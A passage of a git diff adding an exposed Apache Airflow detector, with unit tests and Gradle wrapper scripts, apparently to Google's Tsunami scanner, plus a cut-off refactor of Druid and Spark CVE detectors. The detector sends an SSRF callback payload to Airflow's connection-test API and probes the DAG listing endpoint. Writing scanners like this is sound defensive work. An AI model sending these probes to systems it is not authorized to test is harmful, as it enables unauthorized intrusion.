] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +# This is normally unused +# shellcheck disable=SC2034 +APP_BASE_NAME=${0##*/} +# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s +' "$PWD" ) || exit + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + if ! command -v java >/dev/null 2>&1 + then + die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. + # shellcheck disable=SC2039,SC3045 + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Collect all arguments for the java command: +# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# and any embedded shellness will be escaped. +# * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be +# treated as '${Hostname}' itself on the command line. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Stop when "xargs" is not available. +if ! command -v xargs >/dev/null 2>&1 +then + die "xargs is not available" +fi + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/community/detectors/apache_airflow_exposed_ui/gradlew.bat b/community/detectors/apache_airflow_exposed_ui/gradlew.bat new file mode 100644 index 000000000..9d21a2183 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/gradlew.bat @@ -0,0 +1,94 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +@rem This is normally unused +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/community/detectors/apache_airflow_exposed_ui/settings.gradle b/community/detectors/apache_airflow_exposed_ui/settings.gradle new file mode 100644 index 000000000..a76b2099c --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'exposedairflowserver' diff --git a/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java new file mode 100644 index 000000000..0095a4e72 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetector.java @@ -0,0 +1,244 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.exposedui; + +import static com.google.common.base.Preconditions.checkNotNull; +import static com.google.tsunami.common.net.http.HttpRequest.get; +import static com.google.tsunami.common.net.http.HttpRequest.post; + +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import com.google.gson.JsonSyntaxException; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.ForWebService; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.NotImplementedException; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionReportList.Builder; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.Objects; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.inject.Inject; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.jsoup.nodes.Element; + +/** A VulnDetector plugin for Exposed Apache Airflow Server. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "Exposed Apache Airflow Server Detector", + version = "0.1", + description = + "This detector checks for occurrences of exposed apache airflow server installations.", + author = "am0o0", + bootstrapModule = ExposedAirflowServerDetectorModule.class) +@ForWebService +public final class ExposedAirflowServerDetector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + + @Inject + ExposedAirflowServerDetector( + @UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator) { + this.utcClock = checkNotNull(utcClock); + this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(true).build(); + this.payloadGenerator = checkNotNull(payloadGenerator); + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + + Builder detectionReport = DetectionReportList.newBuilder(); + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isApacheAirflow) + .forEach( + networkService -> { + if (isServiceVulnerableCheckOutOfBandCallback(networkService)) { + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Apache Airflow Server is misconfigured and can be accessed publicly," + + " Tsunami security scanner confirmed this by sending an HTTP request" + + " with test connection API and receiving the corresponding callback" + + " on tsunami callback server", + Severity.CRITICAL)); + } else if (isServiceVulnerableCheckResponse(networkService)) { + detectionReport.addDetectionReports( + buildDetectionReport( + targetInfo, + networkService, + "Apache Airflow Server is misconfigured and can be accessed " + + "publicly, We confirmed this by checking API endpoint and matching " + + "the responses with our pattern", + Severity.HIGH)); + } + }); + return detectionReport.build(); + } + + public boolean isApacheAirflow(NetworkService networkService) { + logger.atInfo().log("probing apache airflow login page - custom fingerprint phase"); + + var loginPageUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + "login"; + try { + HttpResponse loginResponse = + this.httpClient.send(get(loginPageUrl).withEmptyHeaders().build()); + if (!(loginResponse.status() == HttpStatus.OK && loginResponse.bodyString().isPresent())) { + return false; + } + Document doc = Jsoup.parse(loginResponse.bodyString().get()); + if (!Objects.equals(doc.title(), "Sign In - Airflow")) { + return false; + } + for (Element anchor : doc.getElementsByTag("a")) { + if (anchor.attr("href").equals("https://airflow.apache.org") + && Objects.equals(anchor.text(), "Airflow Website")) { + return true; + } + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to query '%s'.", loginPageUrl); + } + return false; + } + + private boolean isServiceVulnerableCheckOutOfBandCallback(NetworkService networkService) { + var payload = getTsunamiCallbackHttpPayload(); + if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log("Tsunami callback server is not setup for this environment."); + return false; + } + + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + try { + String payloadString = payload.getPayload(); + String payloadWithoutProtocol; + // I noticed that there are two types of SSRF payload, one the payload exists as a + // subdomain and other exists as an http path + if (payloadString.contains("http://") || payloadString.contains("https://")) { + Matcher m = Pattern.compile("https?://(.*)").matcher(payloadString); + if (!m.find()) { + return false; + } + payloadWithoutProtocol = m.group(1); + } else { + payloadWithoutProtocol = payloadString; + } + String body = + "{\"connection_id\":\"tsunami\",\"conn_type\":\"http\",\"host\":\"SSRF_PAYLOAD\",\"extra\":\"{}\"}" + .replace("SSRF_PAYLOAD", payloadWithoutProtocol); + this.httpClient.send( + post(rootUrl + "api/v1/connections/test") + .setHeaders( + HttpHeaders.builder().addHeader("Content-Type", "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(body)) + .build(), + networkService); + + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(2)); + return payload.checkIfExecuted(); + } catch (IOException | RuntimeException e) { + logger.atWarning().withCause(e).log("Failed to send request."); + return false; + } + } + + private boolean isServiceVulnerableCheckResponse(NetworkService networkService) { + String rootUrl = NetworkServiceUtils.buildWebApplicationRootUrl(networkService); + try { + HttpResponse dags = + this.httpClient.send( + get(rootUrl + "api/v1/dags").withEmptyHeaders().build(), networkService); + if (dags.bodyString().isEmpty()) { + return false; + } + JsonObject response = JsonParser.parseString(dags.bodyString().get()).getAsJsonObject(); + return response.has("total_entries") && response.has("dags"); + } catch (IllegalStateException | IOException | JsonSyntaxException e) { + return false; + } + } + + private Payload getTsunamiCallbackHttpPayload() { + try { + return this.payloadGenerator.generate( + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.SSRF) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.INTERPRETATION_ANY) + .setExecutionEnvironment(PayloadGeneratorConfig.ExecutionEnvironment.EXEC_ANY) + .build()); + } catch (NotImplementedException n) { + return null; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, + NetworkService vulnerableNetworkService, + String description, + Severity severity) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) + .setSeverity(severity) + .setTitle("Exposed Apache Airflow Server") + .setDescription(description) + .setRecommendation("Please disable public access to your apache airflow instance.")) + .build(); + } +} diff --git a/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorModule.java b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorModule.java new file mode 100644 index 000000000..321d2ac47 --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/src/main/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorModule.java @@ -0,0 +1,27 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.exposedui; + +import com.google.tsunami.plugin.PluginBootstrapModule; + +/** A module registering the detector for Exposed Airflow Server. */ +public final class ExposedAirflowServerDetectorModule extends PluginBootstrapModule { + @Override + protected void configurePlugin() { + registerPlugin(ExposedAirflowServerDetector.class); + } +} diff --git a/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java b/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java new file mode 100644 index 000000000..11ab9ed4f --- /dev/null +++ b/community/detectors/apache_airflow_exposed_ui/src/test/java/com/google/tsunami/plugins/exposedui/ExposedAirflowServerDetectorTest.java @@ -0,0 +1,264 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.exposedui; + +import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; + +import com.google.common.collect.ImmutableList; +import com.google.common.truth.Truth; +import com.google.inject.Guice; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for the {@link ExposedAirflowServerDetector}. */ +@RunWith(JUnit4.class) +public final class ExposedAirflowServerDetectorTest { + private final MockWebServer mockTargetService = new MockWebServer(); + private final MockWebServer mockCallbackServer = new MockWebServer(); + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2020-01-01T00:00:00.00Z")); + + @Inject private ExposedAirflowServerDetector detector; + + private void createInjector() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new ExposedAirflowServerDetectorModule()) + .injectMembers(this); + } + + @Before + public void setUp() throws IOException { + mockCallbackServer.start(); + } + + @After + public void tearDown() throws Exception { + mockTargetService.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() + throws IOException { + startMockWebServer(); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(2); + assertThat(detectionReports.getDetectionReportsList()) + .comparingExpectedFieldsOnly() + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Exposed Apache Airflow Server") + .setDescription( + "Apache Airflow Server is misconfigured and can be accessed publicly," + + " Tsunami security scanner confirmed this by sending an HTTP" + + " request with test connection API and receiving the" + + " corresponding callback on tsunami callback server") + .setRecommendation( + "Please disable public access to your apache airflow instance.")) + .build()); + } + + @Test + public void detect_withCallbackServer_butNoCallback_returnsEmpty() throws IOException { + mockTargetService.enqueue(new MockResponse().setResponseCode(400)); + mockTargetService.enqueue(new MockResponse().setResponseCode(400)); + mockTargetService.enqueue(new MockResponse().setResponseCode(400)); + mockTargetService.start(); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_no_airflow_webservice_returnsEmpty() throws IOException { + mockTargetService.enqueue(new MockResponse().setResponseCode(400)); + mockTargetService.start(); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .addSupportedHttpMethods("GET") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_withResponseMatching_insteadof_withoutCallbackServer() throws IOException { + startMockWebServer(); + createInjector(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + NetworkService targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + TargetInfo targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + Truth.assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + Truth.assertThat(mockTargetService.getRequestCount()).isEqualTo(3); + assertThat(detectionReports.getDetectionReportsList()) + .comparingExpectedFieldsOnly() + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("APACHE_AIRFLOW_SERVER_EXPOSED")) + .setSeverity(Severity.HIGH) + .setTitle("Exposed Apache Airflow Server") + .setDescription( + "Apache Airflow Server is misconfigured and can be accessed publicly," + + " We confirmed this by checking API endpoint and matching the" + + " responses with our pattern") + .setRecommendation( + "Please disable public access to your apache airflow instance.")) + .build()); + } + + private void startMockWebServer() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + + @Override + public MockResponse dispatch(RecordedRequest request) { + switch (request.getPath()) { + case "/login": + return new MockResponse() + .setResponseCode(200) + .setBody( + "\n" + + "\n" + + " \n" + + " Sign In - Airflow\n" + + " \n" + + "" + + " " + + "Airflow Website" + + ""); + case "/api/v1/dags": + return new MockResponse() + .setResponseCode(200) + .setBody( + "{\"dags\": [{\"next_dagrun_create_after\":" + + " \"2019-08-24T14:15:22Z\"}],\"total_entries\": 0}"); + case "/api/v1/connections/test": + return new MockResponse().setResponseCode(200); + default: + return new MockResponse().setResponseCode(400); + } + } + }; + mockTargetService.setDispatcher(dispatcher); + mockTargetService.start(); + mockTargetService.url("/"); + } +} diff --git a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java index c5b3453a5..791a38f0d 100644 --- a/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java +++ b/community/detectors/apache_druid_preauth_rce_cve_2021_25646/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202125646/ApacheDruidPreAuthRCECVE202125646VulnDetector.java @@ -17,7 +17,6 @@ import static com.google.common.base.Preconditions.checkNotNull; import static com.google.common.collect.ImmutableList.toImmutableList; -import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority; import static com.google.tsunami.common.net.http.HttpRequest.post; import static java.nio.charset.StandardCharsets.UTF_8; @@ -93,26 +92,21 @@ public DetectionReportList detect( return DetectionReportList.newBuilder() .addAllDetectionReports( matchedServices.stream() - .filter(this::isWebServiceOrUnknownService) + .filter(NetworkServiceUtils::isWebService) .filter(this::isServiceVulnerable) .map(networkService -> buildDetectionReport(targetInfo, networkService)) .collect(toImmutableList())) .build(); } - private boolean isWebServiceOrUnknownService(NetworkService networkService) { - return networkService.getServiceName().isEmpty() - || NetworkServiceUtils.isWebService(networkService) - || NetworkServiceUtils.getServiceName(networkService).equals("unknown"); - } - private boolean isServiceVulnerable(NetworkService networkService) { HttpHeaders httpHeaders = HttpHeaders.builder() .addHeader(com.google.common.net.HttpHeaders.CONTENT_TYPE, MediaType.JSON_UTF_8.toString()) .build(); ByteString requestBody = ByteString.copyFromUtf8(payloadString); - String targetUri = buildTargetUrl(networkService); + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + CHECK_VUL_PATH; try { HttpResponse response = httpClient.send( post(targetUri).setHeaders(httpHeaders).setRequestBody(requestBody).build(), @@ -129,21 +123,6 @@ private boolean isServiceVulnerable(NetworkService networkService) { return false; } - private static String buildTargetUrl(NetworkService networkService) { - StringBuilder targetUrlBuilder = new StringBuilder(); - if (NetworkServiceUtils.isWebService(networkService)) { - targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService)); - } else { - // Assume the service uses HTTP protocol when the scanner cannot identify the actual service. - targetUrlBuilder - .append("http://") - .append(toUriAuthority(networkService.getNetworkEndpoint())) - .append("/"); - } - targetUrlBuilder.append(CHECK_VUL_PATH); - return targetUrlBuilder.toString(); - } - public DetectionReport buildDetectionReport( TargetInfo targetInfo, NetworkService vulnerableNetworkService) { return DetectionReport.newBuilder() diff --git a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java b/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java index 7681ba043..a8b09fec7 100644 --- a/community/detectors/apache_spark_cve_2022_33891/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202233891/Cve202233891VulnDetector.java +++ 